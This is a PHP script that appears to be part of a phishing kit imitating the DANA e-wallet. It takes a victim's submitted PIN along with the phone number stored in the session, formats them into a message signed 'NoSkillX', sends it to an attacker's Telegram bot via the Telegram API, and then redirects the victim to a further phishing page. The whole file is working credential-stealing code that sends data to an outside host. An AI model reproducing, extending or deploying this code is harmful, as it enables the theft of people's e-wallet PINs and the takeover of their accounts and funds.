<?php
session_start();

$pin = isset($_POST['pin']) ? trim($_POST['pin']) : '';

if ($pin === '') {
  die('PIN tidak ditemukan.');
}

$nohp = isset($_SESSION['nohp']) ? $_SESSION['nohp'] : 'Tidak ada nomor';
$fitur = isset($_SESSION['fitur_dipilih']) ? $_SESSION['fitur_dipilih'] : 'Tidak ada fitur';

$pesan = "┏━━━━━━━━━━━━━━━━━━━━┓\n";
$pesan .= "┣  〘𝗗𝗘𝗧𝗔𝗜𝗟 𝗔𝗞𝗨𝗡 𝗗𝗔𝗡𝗔〙\n";
$pesan .= "┣ 𝗢𝗣𝗦𝗜 : $fitur\n";
$pesan .= "┣ 𝗡𝗢 𝗛𝗣 : $nohp\n";
$pesan .= "┣ 𝗣𝗜𝗡 : $pin\n";
$pesan .= "┣ \n";
$pesan .= "┣〘 𝑩𝒚 : 𝑵𝒐𝑺𝒌𝒊𝒍𝒍𝑿 〙\n";
$pesan .= "┗━━━━━━━━━━━━━━━━━━━━┛";

include 'tel.php';

$url = "https://api.telegram.org/bot$token/sendMessage";
$data = [
  'chat_id' => $chat_id,
  'text' => $pesan,
  'parse_mode' => 'Markdown'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
curl_close($ch);

if ($result !== false) {
  $_SESSION['pin'] = $pin;
  header("Location: 2.html");
  exit;
} else {
  echo "Gagal mengirim ke Telegram.";
}
?>